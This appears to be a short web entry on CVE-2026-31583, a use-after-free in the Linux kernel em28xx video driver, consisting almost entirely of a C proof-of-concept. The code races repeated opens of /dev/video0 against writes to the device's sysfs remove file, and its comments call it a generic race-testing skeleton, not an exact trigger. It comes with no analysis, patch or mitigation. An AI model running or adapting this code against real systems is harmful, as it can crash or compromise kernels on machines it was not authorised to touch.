CVE-2026-31583 Linux内核em28xx驱动释放后重用漏洞

#include <pthread.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #define DEVICE "/dev/video0" // Thread function to repeatedly open the device void* open_thread(void* arg) { int fd; while (1) { fd = open(DEVICE, O_RDWR); if (fd >= 0) { // Simulate operations that trigger the race usleep(100); close(fd); } } return NULL; } // Thread function to trigger initialization/cleanup races // Note: Triggering the exact race from user space usually requires // specific timing or system calls that interact with the driver's init/fini paths. // This is a generic structure for race condition testing. void* trigger_thread(void* arg) { while (1) { // In a real exploit, this might involve unbinding/rebinding the driver // or triggering specific ioctls that cause internal state changes. system("echo trigger > /sys/class/video4linux/video0/device/remove"); sleep(1); } return NULL; } int main() { pthread_t t1, t2; pthread_create(&t1, NULL, open_thread, NULL); pthread_create(&t2, NULL, trigger_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }